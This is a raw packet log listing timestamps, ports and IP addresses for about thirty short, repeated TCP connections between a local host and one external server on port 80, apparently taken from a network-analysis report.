Nov 20, 2024 10:57:28.799272060 CET	80	49758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:28.799350023 CET	49758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:28.804357052 CET	80	49758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:29.544524908 CET	80	49758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:29.544604063 CET	80	49758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:29.544680119 CET	49758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:29.544680119 CET	49758	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:29.549556017 CET	80	49758	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:29.707357883 CET	49759	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:29.715826988 CET	80	49759	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:29.715926886 CET	49759	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:29.717889071 CET	49759	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:29.726250887 CET	80	49759	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:29.726325989 CET	49759	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:29.732372999 CET	80	49759	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:30.509517908 CET	80	49759	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:30.509587049 CET	80	49759	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:30.509633064 CET	49759	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:30.509871006 CET	49759	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:30.514533043 CET	80	49759	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:30.654500008 CET	49760	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:30.659513950 CET	80	49760	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:30.659600973 CET	49760	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:30.662184954 CET	49760	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:30.667040110 CET	80	49760	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:30.667112112 CET	49760	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:30.671946049 CET	80	49760	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:31.416517019 CET	80	49760	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:31.416615009 CET	80	49760	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:31.416743040 CET	49760	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:31.420471907 CET	49760	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:31.425323963 CET	80	49760	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:31.585381031 CET	49761	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:31.590339899 CET	80	49761	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:31.590466976 CET	49761	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:31.592397928 CET	49761	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:31.597261906 CET	80	49761	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:31.597321033 CET	49761	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:31.602236986 CET	80	49761	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:32.379905939 CET	80	49761	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:32.379993916 CET	49761	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:32.381134987 CET	80	49761	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:32.381161928 CET	80	49761	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:32.381184101 CET	49761	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:32.381206989 CET	49761	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:32.385509968 CET	80	49761	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:32.519068003 CET	49762	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:32.527338028 CET	80	49762	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:32.527430058 CET	49762	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:32.529407024 CET	49762	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:32.534658909 CET	80	49762	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:32.534728050 CET	49762	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:32.540008068 CET	80	49762	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:33.635812044 CET	80	49762	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:33.635824919 CET	80	49762	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:33.635833025 CET	80	49762	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:33.635906935 CET	49762	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:33.636023045 CET	49762	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:33.639395952 CET	80	49762	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:33.639463902 CET	49762	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:33.640881062 CET	80	49762	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:33.787791014 CET	49763	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:33.793432951 CET	80	49763	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:33.793550014 CET	49763	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:33.795550108 CET	49763	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:33.800527096 CET	80	49763	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:33.800604105 CET	49763	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:33.805556059 CET	80	49763	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:34.562134981 CET	80	49763	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:34.562150002 CET	80	49763	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:34.562494040 CET	49763	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:34.562494040 CET	49763	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:34.567580938 CET	80	49763	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:34.707010984 CET	58489	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:34.713445902 CET	80	58489	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:34.713679075 CET	58489	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:34.715595007 CET	58489	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:34.722129107 CET	80	58489	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:34.722223997 CET	58489	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:34.727415085 CET	80	58489	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:35.466188908 CET	80	58489	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:35.466202021 CET	80	58489	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:35.466504097 CET	58489	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:35.466504097 CET	58489	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:35.471497059 CET	80	58489	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:35.617747068 CET	58491	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:35.623383999 CET	80	58491	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:35.623470068 CET	58491	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:35.625449896 CET	58491	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:35.630410910 CET	80	58491	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:35.630460024 CET	58491	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:35.635941029 CET	80	58491	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:36.395639896 CET	80	58491	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:36.395772934 CET	80	58491	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:36.395872116 CET	58491	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:36.395872116 CET	58491	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:36.400811911 CET	80	58491	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:36.534261942 CET	58492	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:36.539140940 CET	80	58492	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:36.539235115 CET	58492	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:36.541212082 CET	58492	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:36.546017885 CET	80	58492	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:36.546091080 CET	58492	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:36.550977945 CET	80	58492	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:37.284640074 CET	80	58492	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:37.284733057 CET	80	58492	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:37.284751892 CET	58492	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:37.284840107 CET	58492	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:37.289800882 CET	80	58492	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:37.533194065 CET	58493	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:37.538299084 CET	80	58493	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:37.538398981 CET	58493	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:37.553431988 CET	58493	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:37.558290958 CET	80	58493	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:37.558372021 CET	58493	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:37.563385963 CET	80	58493	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:38.277973890 CET	80	58493	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:38.277988911 CET	80	58493	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:38.278254032 CET	58493	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:38.278254032 CET	58493	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:38.284188032 CET	80	58493	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:38.428303957 CET	58495	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:38.434974909 CET	80	58495	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:38.435165882 CET	58495	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:38.437248945 CET	58495	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:38.444068909 CET	80	58495	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:38.444139957 CET	58495	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:38.450828075 CET	80	58495	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:39.182497978 CET	80	58495	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:39.182621002 CET	58495	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:39.182770967 CET	80	58495	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:39.182828903 CET	58495	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:39.187671900 CET	80	58495	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:39.329109907 CET	58497	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:39.337373972 CET	80	58497	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:39.337472916 CET	58497	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:39.339431047 CET	58497	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:39.348617077 CET	80	58497	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:39.350219011 CET	58497	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:39.355340958 CET	80	58497	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:40.083363056 CET	80	58497	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:40.084172010 CET	80	58497	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:40.084264040 CET	58497	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:40.128667116 CET	58497	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:40.133544922 CET	80	58497	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:40.374346018 CET	58498	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:40.379442930 CET	80	58498	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:40.380599976 CET	58498	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:40.383876085 CET	58498	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:40.389372110 CET	80	58498	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:40.390681982 CET	58498	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:40.397022009 CET	80	58498	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:41.132220984 CET	80	58498	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:41.132249117 CET	80	58498	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:41.132329941 CET	58498	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:41.134746075 CET	58498	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:41.142695904 CET	80	58498	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:41.267462969 CET	58499	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:41.273792982 CET	80	58499	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:41.273881912 CET	58499	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:41.275645971 CET	58499	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:41.280767918 CET	80	58499	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:41.280822039 CET	58499	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:41.288552046 CET	80	58499	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:42.026184082 CET	80	58499	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:42.026335955 CET	80	58499	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:42.026338100 CET	58499	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:42.026418924 CET	58499	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:42.033745050 CET	80	58499	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:42.181690931 CET	58500	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:42.187048912 CET	80	58500	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:42.187161922 CET	58500	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:42.189214945 CET	58500	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:42.194422960 CET	80	58500	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:42.194530010 CET	58500	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:42.199846029 CET	80	58500	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:42.950089931 CET	80	58500	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:42.950118065 CET	80	58500	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:42.950176001 CET	58500	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:42.950223923 CET	58500	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:42.955101967 CET	80	58500	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:43.096318007 CET	58501	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:43.102113962 CET	80	58501	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:43.102298975 CET	58501	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:43.104093075 CET	58501	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:43.108985901 CET	80	58501	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:43.109049082 CET	58501	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:43.114608049 CET	80	58501	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:43.869158030 CET	80	58501	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:43.869194984 CET	80	58501	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:43.869492054 CET	58501	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:43.872795105 CET	58501	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:43.877805948 CET	80	58501	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:44.018203974 CET	58502	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.026628971 CET	80	58502	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:44.026712894 CET	58502	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.028678894 CET	58502	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.036613941 CET	80	58502	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:44.036670923 CET	58502	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.044529915 CET	80	58502	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:44.776602983 CET	80	58502	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:44.776621103 CET	80	58502	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:44.776690006 CET	58502	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.776690006 CET	58502	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.784399033 CET	80	58502	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:44.934911013 CET	58503	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.943589926 CET	80	58503	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:44.943703890 CET	58503	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.945676088 CET	58503	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.953075886 CET	80	58503	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:44.953135967 CET	58503	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:44.958188057 CET	80	58503	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:45.698539972 CET	80	58503	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:45.698574066 CET	80	58503	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:45.698674917 CET	58503	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:45.698674917 CET	58503	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:45.703555107 CET	80	58503	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:45.846885920 CET	58504	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:45.854825020 CET	80	58504	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:45.854940891 CET	58504	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:45.856882095 CET	58504	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:45.861743927 CET	80	58504	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:45.861829042 CET	58504	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:45.866676092 CET	80	58504	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:46.613703012 CET	80	58504	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:46.613807917 CET	58504	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:46.613832951 CET	80	58504	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:46.613883972 CET	58504	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:46.618695021 CET	80	58504	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:46.755562067 CET	58505	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:46.764810085 CET	80	58505	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:46.764916897 CET	58505	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:46.767010927 CET	58505	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:46.774162054 CET	80	58505	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:46.774216890 CET	58505	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:46.782445908 CET	80	58505	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:47.563374043 CET	80	58505	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:47.563508034 CET	80	58505	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:47.563623905 CET	58505	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:47.563782930 CET	58505	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:47.570859909 CET	80	58505	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:47.711721897 CET	58506	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:47.719166040 CET	80	58506	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:47.719258070 CET	58506	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:47.721282005 CET	58506	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:47.730437994 CET	80	58506	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:47.730504036 CET	58506	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:47.739742994 CET	80	58506	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:48.461930990 CET	80	58506	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:48.462037086 CET	58506	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:48.462044954 CET	80	58506	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:48.462116003 CET	58506	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:48.467330933 CET	80	58506	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:48.599814892 CET	58507	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:48.607561111 CET	80	58507	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:48.607665062 CET	58507	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:48.609719992 CET	58507	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:48.614615917 CET	80	58507	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:48.614778996 CET	58507	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:48.620059013 CET	80	58507	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:49.351393938 CET	80	58507	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:49.351413012 CET	80	58507	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:49.351506948 CET	58507	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:49.354686022 CET	58507	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:49.360364914 CET	80	58507	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:49.503146887 CET	58508	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:49.511392117 CET	80	58508	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:49.511498928 CET	58508	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:49.513509989 CET	58508	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:49.520217896 CET	80	58508	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:49.520288944 CET	58508	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:49.527167082 CET	80	58508	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:50.260884047 CET	80	58508	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:50.261043072 CET	58508	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:50.261085987 CET	80	58508	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:50.261229038 CET	58508	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:50.268579006 CET	80	58508	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:50.436767101 CET	58509	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:50.441695929 CET	80	58509	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:50.441800117 CET	58509	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:50.443767071 CET	58509	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:50.448642015 CET	80	58509	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:50.448704004 CET	58509	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:50.453615904 CET	80	58509	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:51.211325884 CET	80	58509	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:51.211389065 CET	80	58509	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:51.211483002 CET	58509	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:51.214713097 CET	58509	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:51.219567060 CET	80	58509	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:51.366425037 CET	58510	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:51.371682882 CET	80	58510	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:51.371751070 CET	58510	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:51.373881102 CET	58510	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:51.378976107 CET	80	58510	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:51.379034996 CET	58510	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:51.383846045 CET	80	58510	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:52.132011890 CET	80	58510	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:52.132030010 CET	80	58510	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:52.132108927 CET	58510	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:52.132249117 CET	58510	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:52.140913963 CET	80	58510	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:52.266629934 CET	58511	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:52.273770094 CET	80	58511	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:52.273859978 CET	58511	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:52.275599957 CET	58511	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:52.282552958 CET	80	58511	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:52.282630920 CET	58511	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:52.289645910 CET	80	58511	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:53.044281960 CET	80	58511	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:53.044296980 CET	80	58511	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:53.044496059 CET	58511	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:53.044496059 CET	58511	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:53.049334049 CET	80	58511	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:53.189101934 CET	58512	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:53.194340944 CET	80	58512	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:53.194430113 CET	58512	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:53.196384907 CET	58512	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:53.201576948 CET	80	58512	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:53.201630116 CET	58512	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:53.206649065 CET	80	58512	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:53.951361895 CET	80	58512	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:53.951456070 CET	58512	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:53.951647043 CET	80	58512	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:53.951694965 CET	58512	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:53.956363916 CET	80	58512	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:54.096692085 CET	58513	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:54.101732016 CET	80	58513	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:54.101820946 CET	58513	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:54.103605032 CET	58513	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:54.109302998 CET	80	58513	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:54.109455109 CET	58513	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:54.114999056 CET	80	58513	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:54.872958899 CET	80	58513	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:54.873018980 CET	80	58513	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:54.873080969 CET	58513	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:54.873080969 CET	58513	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:54.880536079 CET	80	58513	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:55.019460917 CET	58514	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:55.026335001 CET	80	58514	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:55.026413918 CET	58514	80	192.168.2.4	94.156.177.41
